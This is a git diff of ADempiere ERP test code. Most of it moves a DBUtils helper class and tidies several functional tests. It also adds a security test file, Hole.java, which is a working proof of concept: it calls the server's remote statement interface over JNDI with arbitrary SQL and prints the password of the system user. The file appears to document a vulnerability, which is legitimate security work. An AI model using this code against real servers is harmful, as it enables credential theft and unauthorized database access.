diff --git a/extend/src/org/adempiere/test/utils/DBUtils.java b/extend/src/org/adempiere/test/utils/DBUtils.java new file mode 100644 index 0000000000..7e9e781fbe --- /dev/null +++ b/extend/src/org/adempiere/test/utils/DBUtils.java @@ -0,0 +1,42 @@ +package org.adempiere.test.utils; + +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +public class DBUtils { +/* + static { + try { + DriverManager.registerDriver( new oracle.jdbc.driver.OracleDriver()); + } catch (SQLException e) { + System.out.println("ERROR !!!"); + e.printStackTrace(); + } + } +*/ + + // logger + //private static CLogger log = CLogger.getCLogger(DBUtils.class); + + public static Connection getConnection( String db, String user, String password) throws SQLException { + return DriverManager.getConnection( db, user, password); + } + + public static void close( ResultSet rs) { + try { + if (rs!=null) rs.close(); + } catch (SQLException e) { + ; + } + } + public static void close( Statement st) { + try { + if (st!=null) st.close(); + } catch (SQLException e) { + ; + } + } +} diff --git a/extend/src/test/functional/MBPGroupTest.java b/extend/src/test/functional/MBPGroupTest.java index 165c070021..7b79073039 100644 --- a/extend/src/test/functional/MBPGroupTest.java +++ b/extend/src/test/functional/MBPGroupTest.java @@ -11,7 +11,7 @@ import org.compiere.model.MLocation; import org.compiere.model.MBPGroup; import org.compiere.util.CLogMgt; import org.compiere.util.DB; -import org.compiere.utils.DBUtils; +import org.adempiere.test.utils.DBUtils; import org.compiere.util.*; import java.sql.*; @@ -606,7 +606,7 @@ public class MBPGroupTest extends TestCase { m_group.setIsConfidentialInfo (false); // N m_group.setIsDefault (false); - m_group.setPriorityBase(m_group.PRIORITYBASE_Same); + m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same); m_group.save(); } else { System.out.println("m_group is null"); diff --git a/extend/src/test/functional/MBPartnerLocationTest.java b/extend/src/test/functional/MBPartnerLocationTest.java index 2918e60ec5..df3379ce3b 100644 --- a/extend/src/test/functional/MBPartnerLocationTest.java +++ b/extend/src/test/functional/MBPartnerLocationTest.java @@ -11,7 +11,7 @@ import org.compiere.model.*; import org.compiere.model.MBPartnerLocation; import org.compiere.util.CLogMgt; import org.compiere.util.DB; -import org.compiere.utils.DBUtils; +import org.adempiere.test.utils.DBUtils; import org.compiere.util.*; import java.sql.*; @@ -631,7 +631,7 @@ public class MBPartnerLocationTest extends TestCase { m_group.setIsConfidentialInfo (false); // N m_group.setIsDefault (false); - m_group.setPriorityBase(m_group.PRIORITYBASE_Same); + m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same); m_group.save(); } else { System.out.println("m_group is null"); diff --git a/extend/src/test/functional/MBPartnerTest.java b/extend/src/test/functional/MBPartnerTest.java index 3fc2cc0f4f..99421d70b9 100644 --- a/extend/src/test/functional/MBPartnerTest.java +++ b/extend/src/test/functional/MBPartnerTest.java @@ -10,7 +10,7 @@ import junit.framework.TestCase; import org.compiere.model.*; import org.compiere.util.CLogMgt; import org.compiere.util.DB; -import org.compiere.utils.DBUtils; +import org.adempiere.test.utils.DBUtils; import org.compiere.util.*; import java.sql.*; @@ -627,7 +627,7 @@ public class MBPartnerTest extends TestCase { m_group.setIsConfidentialInfo (false); // N m_group.setIsDefault (false); - m_group.setPriorityBase(m_group.PRIORITYBASE_Same); + m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same); m_group.save(); diff --git a/extend/src/test/functional/MUserTest.java b/extend/src/test/functional/MUserTest.java index 226d5bf5c3..ae88f6cc47 100644 --- a/extend/src/test/functional/MUserTest.java +++ b/extend/src/test/functional/MUserTest.java @@ -10,7 +10,7 @@ import junit.framework.TestCase; import org.compiere.model.*; import org.compiere.util.CLogMgt; import org.compiere.util.DB; -import org.compiere.utils.DBUtils; +import org.adempiere.test.utils.DBUtils; import org.compiere.util.*; import java.sql.*; @@ -625,7 +625,7 @@ public class MUserTest extends TestCase { m_group.setIsConfidentialInfo (false); // N m_group.setIsDefault (false); - m_group.setPriorityBase(m_group.PRIORITYBASE_Same); + m_group.setPriorityBase(MBPGroup.PRIORITYBASE_Same); m_group.save(); diff --git a/extend/src/test/functional/TrifonTest.java b/extend/src/test/functional/TrifonTest.java index e0a34efc72..ae6b521afb 100644 --- a/extend/src/test/functional/TrifonTest.java +++ b/extend/src/test/functional/TrifonTest.java @@ -12,7 +12,6 @@ import org.compiere.model.MProduct; import org.compiere.model.MTable; import org.compiere.model.X_AD_Reference; import org.compiere.util.CLogMgt; -import org.compiere.util.DB; import org.compiere.util.Env; import org.compiere.util.Ini; diff --git a/extend/src/test/security/Hole.java b/extend/src/test/security/Hole.java new file mode 100644 index 0000000000..eee506cda6 --- /dev/null +++ b/extend/src/test/security/Hole.java @@ -0,0 +1,39 @@ +package test.security; + +import java.util.Hashtable; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.sql.RowSet; + +import org.compiere.interfaces.Server; +import org.compiere.interfaces.ServerHome; +import org.compiere.util.CStatementVO; + +public class Hole { + + public static String SERVER = ""; + + public static int PORT = 1099; + + public static void main(String[] args) { + try { + + Hashtable env = new Hashtable(); + env.put(Context.INITIAL_CONTEXT_FACTORY, "org.jnp.interfaces.NamingContextFactory"); + env.put(Context.PROVIDER_URL, "jnp://" + SERVER + ":" + PORT); + env.put(Context.URL_PKG_PREFIXES, "org.jboss.naming.client"); + Context ctx = new InitialContext(env); + + ServerHome serverHome = (ServerHome)ctx.lookup("adempiere/Server"); + Server server = serverHome.create(); + CStatementVO cs = new CStatementVO(1, 1, "SELECT password FROM AD_USER WHERE AD_USER_ID=0;"); + RowSet s = server.stmt_getRowSet(cs); + s.next(); + System.out.println(s.getString(1)); + + } catch (Exception e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/extend/test.properties.template b/extend/test.properties.template index 48a1a58d32..e70df1f911 100644 --- a/extend/test.properties.template +++ b/extend/test.properties.template @@ -1,3 +1,4 @@ AdempiereProperties=C:/Adempiere/Adempiere.properties isClient=Y +AD_Client_ID=11 AD_User_ID=0 \ No newline at end of file